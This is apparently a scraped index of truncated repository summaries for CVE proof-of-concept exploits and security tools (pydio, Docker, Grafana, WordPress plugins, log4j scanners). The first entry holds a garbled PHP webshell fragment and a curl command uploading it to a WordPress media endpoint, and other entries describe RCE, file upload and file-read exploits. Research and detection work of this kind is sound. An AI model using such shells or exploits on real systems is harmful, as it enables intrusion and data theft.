CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

CVE-2018-14772

CVE-2018-14772 info This is a PoC Remote Code Execution exploit for CVE-2018-14772, a vulnerability that I discovered in the pydio file sharing platform. It requires pydio application administrator credentials to work. You can run the exploit like so: usage $ python exploit.py -h usage: exploit.p...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker Container Command Execution Tool A powerful Docker remote API exploitation tool for security research and testing of CVE-2025-9074 vulnerability. Core Advantages ✅ Fully automated container lifecycle management : Automatically creates temporary containers, cleans up after...

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE Exploit CVE-2026-38751 Arbitrary File Upload leading to Remote Code Execution Full-featured proof-of-concept for CVE-2026-38751 , written in Rust. Warning: This tool is intended for authorised security testing and educational purposes only. Use it only on systems you own or hav...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce If protocol is missing → scri...

vaultize_CVE-2024-36079

About Vulnerability The on-premise Vaultize DRM v.21.07.27 is vulnerable to the upload of arbitrary files. Files whose names contain part of the absolute path of the file system may be uploaded due to the lack of filename filtering. When you try to download the files the application creates a...

CVE-2026-8461-PoC

CVE-2026-8461 PoC !WARNING This PoC is entirely generated by AI. Usage: python exploitcve20268461.py --baseline --frames 25 -o baseline.avi An unpatched version of ffmpeg will crash when processing baseline.avi...

pfsense-security-research

Authenticated Arbitrary File Read in pfSense 2.8.0 via Diagnostics Web Interface CVE ID: CVE-2025-53392 Date: 2025-06-27 Author: Seth Kraft Vendor Homepage: https://www.netgate.com/ Vendor Changelog: https://docs.netgate.com/pfsense/en/latest/releases/ Software Link:...

CVE-2025-63307

CVE-2025-63307 – Authenticated Stored Cross-site Scripting XSS in laravel-file-manager v3.3.1 🧭 Overview An authenticated Stored Cross-site Scripting XSS vulnerability in laravel-file-manager v3.3.1 and below allows attackers with access to the file manager interface to inject and persist arbitra...

GrafanaDirectoryScanner

PoC for CVE-2021-43798 Grafana is an open-source platform for monitoring and observability. Grafana versions from 8.0.0-beta1 to 8.3.0 except patched versions are vulnerable to directory traversal, allowing access to local files. The vulnerable URL is: /public/plugins//, where is the plugin ID fo...

CVE-2025-0851

CVE-2025-0851 This vulnerability occurs in the Deep Java Library an open-source framework for Java deep learning when providing utilities for extracting tar and zip model archives used for loading models. A File Traversal vulnerability arises in the untar and unzip functions. Details: When creati...

Mysql-Readfile

Introduction This project mainly uses load data local infile to obtain any files of the attacker's host Windows platform, and the files to be visited can be listed in file.txt This will be very meaningful when we can control the connection configuration of Mysql in some cases. Project usage Step...

CVE-2024-24919

CVE-2024-24919 nuclei template of CVE-2024-24919 This template will help detect the described vulnerability by checking if the system leaks the contents of the /etc/shadow file...

Security Bulletin:Vulnerabilities exists in IBM Netezza Appliance

Summary Vulnerabilities identified in IBM Netezza Appliance have been addressed in the latest security patch release of NPS. Vulnerability Details CVEID:CVE-2026-11940 DESCRIPTION: tarfile.extractall with the 'data' or 'tar' filter could be bypassed by a crafted archive where a hardlink reference...

CVE-2021-41773S

Vulnerable docker images for CVE-2021-41773 Apache path traversal This vulnerabiltiy only applies to version 2.4.49 that have specific non-default configs. In certain situations this can result in either file read or code execution. https://twitter.com/ptswarm/status/1445376079548624899 Vulnerabl...

gv_decryptor

Gallery Vault Decryptor Recovery tool for assets encrypted by the Gallery Vault ThinkYeah Android application. It supports the V2 container layout documented below and does not require the Gallery Vault PIN. Only recover data that you own or are authorized to examine. Requirements Python 3.10 or...

CVE-2025-13595

CIBELES AI = 1.10.8 - Unauthenticated Arbitrary File Upload The Cibeles AI WordPress plugin versions 1.10.8 and below contain an unauthenticated remote code execution vulnerability in the actualizadorgit.php file. This file is directly accessible via HTTP without any authentication or authorizati...

research

This repository does not have a README...

CVE-2010-1240

CVE-2010-1240 - Embedding backdoor into a PDF ⚠️ For educational and authorized security research purposes only Description Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog,...

chk_log4j

chklog4j - Tool to find jar files which are vulnerable to log4j CVE-2021-44228. Install 1. git clone https://github.com/gcmurphy/chklog4j 2. cd chklog4j && cargo install --path . Usage The tool only checks a single file so it is best combined with something like fd. $ fd -a -e jar -x chklog4j...